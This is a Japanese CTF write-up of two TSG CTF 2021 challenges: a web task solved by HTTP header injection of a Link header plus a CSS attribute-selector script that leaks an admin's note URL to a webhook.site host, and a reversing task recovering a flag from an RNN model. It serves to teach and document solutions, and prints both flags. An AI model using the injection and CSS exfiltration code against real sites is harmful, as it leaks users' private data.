10/2 - 10/3という日程で開催された。zer0ptsで参加して1位。やったー。毎度のことながら高品質な問題ばかりで楽しかった。
このwriteupで紹介する問題のほかにもWeb問とか、Pillowのデコーダの挙動を悪用しつつSGIという謎画像フォーマットでゴルフをするMisc問のKotlin Lovers Societyとかにも取り組んでいたのだけれども、結局解けなくてくやしい。
👑
— zer0pts (@zer0pts) October 3, 2021
🐤 < piyo pic.twitter.com/2UwogjTk2v
他のメンバーが書いたwrite-up:
[Web 393] Udon (4 solves)
ででーん!うどん、動きます。
(URL)
Beginners CTF 2019のRamen、Beginners CTF 2020のSomen、そしてSECCON 2020 Online CTFのpastaに続く麺類シリーズの最新作。今回は好きなうどんについてメモを残せるサービスが提供されている。以下のようなフォームからうどんのメモを投稿できるが、<
, >
, '
, "
といった記号は実体参照に変換されてしまうためContent Injectionはできない。
トップページからは投稿したメモの一覧を閲覧できる。ここでもメモのタイトルに含まれる特殊な記号は実体参照に変換されるし、各メモのURLについてもサービス側がランダムに生成したIDが使われるため、属性値でのContent Injectionはできない。
各メモのページには Tell Admin About This Udon Note
というボタンが用意されており、これを押すとadminがアクセスしに来てくれる。ソースコードを確認すると、adminは uid
というCookieのキーにadminのユーザIDをセットした上で、Firefoxを使ってアクセスすることがわかる。
const browser = await puppeteer.launch({ product: "firefox", headless: true, ignoreHTTPSErrors: true, }); const page = await browser.newPage(); await page.setCookie({ name: "uid", value: process.env.ADMIN_UID, domain: "app", expires: Date.now() / 1000 + 10, });
Webサーバ側のソースコードも確認すると、初期化処理としてadminのユーザIDでフラグをその内容としたメモを投稿していることがわかる。なんらかの方法でこのメモのURLを入手することがこの問題の目標のようだ。
posts := []Post{} db.Where("uid = ?", os.Getenv("ADMIN_UID")).Find(&posts) if len(posts) == 0 { db.Create(&Post{ UID: os.Getenv("ADMIN_UID"), Title: "flag", Description: os.Getenv("FLAG"), }) }
怪しげな挙動を探していく。ページ下部にクリックすると /reset?k=set-cookie&v=uid%3Dblah%3B+path%3D%2F%3B+expires%3DThu%2C+01+Jan+1970+00%3A00%3A00+GMT
に飛ぶ reset
というリンクがある。このURLにアクセスするとCookieが削除される。
与えられたソースコードを見てみると、この機能は以下のようなミドルウェアとして実装されていることがわかる。これを使えば、どのページにおいてもGETパラメータの k
をキー、v
を値として、Set-Cookie
に限らずひとつだけ好きなHTTPレスポンスヘッダを発行させられる。HTTPヘッダインジェクションだ。
r.Use(func(c *gin.Context) { k := c.Query("k") v := c.Query("v") if matched, err := regexp.MatchString("^[a-zA-Z-]+$", k); matched && err == nil && v != "" { c.Header(k, v) } c.Next() })
まず Content-Security-Policy
ヘッダで report-uri
ディレクティブを使うことを考えたが、default-src 'none'
ですべてのリソースの読み込みをブロックさせても、以下のように違反レポートからは有用な情報はまったく得られなかった。
{"csp-report":{"blocked-uri":"http://app:8080/favicon.ico","column-number":19,"document-uri":"http://app:8080/?k=Content-Security-Policy&v=default-src%20%27none%27%3b%20report-uri%20https://webhook.site/…","line-number":191,"original-policy":"default-src 'none'; report-uri https://webhook.site/…","referrer":"","source-file":"resource","violated-directive":"default-src"}}
ここで悩んでいたが、s1r1usさんが Link
ヘッダを使うことを思いついた。このヘッダを使えば、link
要素を挿入した場合と同じ効果が得られる。つまり、Link: <style.css>; rel="stylesheet"
のようなHTTPレスポンスヘッダを発行させれば好きなページで好きなCSSを読み込ませることができる。Link
ヘッダはFirefoxぐらいしか対応していないが、そういえばadminはちょうどFirefoxを使っていた。
script-src 'self'; style-src 'self'; base-uri 'none'
という内容のCSPヘッダが発行されているために、CSSの読み込み先は同じオリジンでなければならないが、幸いにもこのサービスでは好きなコンテンツを投稿できる。試しに {}*{background:red;}
のような内容のメモを作成して、Link
ヘッダを使ってトップページで読み込ませてみる。/?k=Link&v=</notes/I4zgr9doRL>%3b rel="stylesheet"
のようなURLにアクセスしたところ、 以下のようにページが赤に染まった。ちゃんとメモをCSSとして読み込ませることができたようだ。
CSSを使ってトップページに表示されているリンクのURLを抽出したい。CSS Injectionと同じ要領で、a[href$=…]{background:url(…);}
のように属性セレクタを使って、a
要素の href
属性がある文字列で終わっていれば特定のURLの画像を読み込むというようなルールをたくさん作ってやれば、少しずつURLが抽出できるはずだ。雑にスクリプトを書く。
import requests payload = '{}' known = '' for c in 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ': payload += 'a[href$=' + c + known + ']{background:url(https://webhook.site/…?' + c + known + ')}' print(len(payload)) r = requests.post('http://34.84.69.72:8080/notes', data={ 'title': payload, 'description': 'desc' }) path = r.url.rsplit('/', 1)[-1] requests.post('http://34.84.69.72:8080/tell', data={ 'path': f'/?k=Link&v=</notes/{path}>%3b rel=%22stylesheet%22' })
これを実行すると、https://webhook.site/…?r
にアクセスが来た。これで r
で終わるURLへのリンクがトップページに存在することがわかる。ただ、属性セレクタの属性値は実体参照への変換を避けるために "
や '
で囲んでいないから、もし a[href$=1]{…}
のように数字から始まっていれば、仕様からわかるようにちゃんと動いてくれない。もし属性値が数字から始まりそうな場合には、以下のようにブルートフォースしてしまおう。
payload = '{}' known = '' for c in 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ': for d in '0123456789': payload += 'a[href$=' + c + d + known + ']{background:url(https://webhook.site/…?' + c + d + known + ')}'
このスクリプトを使って少しずつフラグのメモのURLを特定できた。/notes/ytH2ajv63r
にアクセスするとフラグが得られた。
TSGCTF{uo_uo_uo_uo_uoooooooo_uo_no_gawa_love}
この問題はzer0ptsがfirst bloodだった。競技終了後に公開された作問者によるwriteupを確認したところ、属性セレクタの属性値の部分について、わざわざブルートフォースで飛ばして数字から始まらないようにしなくとも a[href$=\31] { background: red; }
のようにエスケープすればよいことがわかった。なるほどなあ。
[Reversing 227] Natural Flag Processing (16 solves)
このRNNモデルが受理するフラグ文字列を探してください。
main.py
という以下のような内容のPythonスクリプトと、model_final.pth
というモデルが与えられている。
import string import torch from torch import nn FLAG_CHARS = string.ascii_letters + string.digits + "{}-" CHARS = "^$" + FLAG_CHARS def sanity_check(text): global FLAG_CHARS assert text[:7] == "TSGCTF{" assert text[-1:] == "}" assert all([t in FLAG_CHARS for t in text]) def embedding(text): global CHARS x = torch.zeros((len(text), len(CHARS))) for i, t in enumerate(text): x[i, CHARS.index(t)] = 1.0 return x class Model(nn.Module): def __init__(self, inpt, hidden): super().__init__() self.cell = nn.RNNCell(inpt, hidden) self.out = nn.Linear(hidden, 1) def forward(self, xs): h = None for x in xs: h = self.cell(x, h) return self.out(h) def inference(model, text): model.eval() with torch.no_grad(): x = embedding("^"+text+"$").unsqueeze(1) y = model(x)[0].sigmoid().cpu().item() return y model = Model(len(CHARS), 520) model.load_state_dict(torch.load("model_final.pth")) text = input("input flag:") sanity_check(text) if inference(model, text) > 0.5: print("Congrats!") else: print("Wrong.")
Model
の forward
メソッドを以下のものに差し替える。
def forward(self, xs): h = None for i, x in enumerate(xs): h = self.cell(x, h) print(max(h[0])) return self.out(h)
この状態で inference(model, 'AAAAAAA')
と inference(model, 'TSGCTF{')
を実行してみると、それぞれ以下のような結果になった。正解の文字でなければ結果が大きく変わるっぽい。これを使ってちょっとずつフラグを特定していこう。
今度は Model
の forward
メソッドを以下のものに差し替える。
def forward(self, xs): h = None for i, x in enumerate(xs): h = self.cell(x, h) result = float(max(h[0])) if result < 0.5: raise Exception(i) return self.out(h)
このまま以下のコードを実行してみると、mRnA
や mRNa
などそれっぽい文字列を出力し始めた。定期的に止めて人の手でそれっぽい文字列だけを残すようにしてやり、再び実行するという流れを何度も繰り返すと、最終的に mRNA-st4nDs-f0r-mANuaLLy-tun3d-RecurrEn7-N3uRAl-AutoM4toN
という文字列が得られた。
import queue q = queue.Queue() q.put('') while not q.empty(): tmp = q.get() l = len(tmp) + 8 for c in FLAG_CHARS: try: inference(model, 'TSGCTF{' + tmp + c + '}') except Exception as e: if e.args[0] > l: print(tmp + c) q.put(tmp + c)
TSGCTF{mRNA-st4nDs-f0r-mANuaLLy-tun3d-RecurrEn7-N3uRAl-AutoM4toN}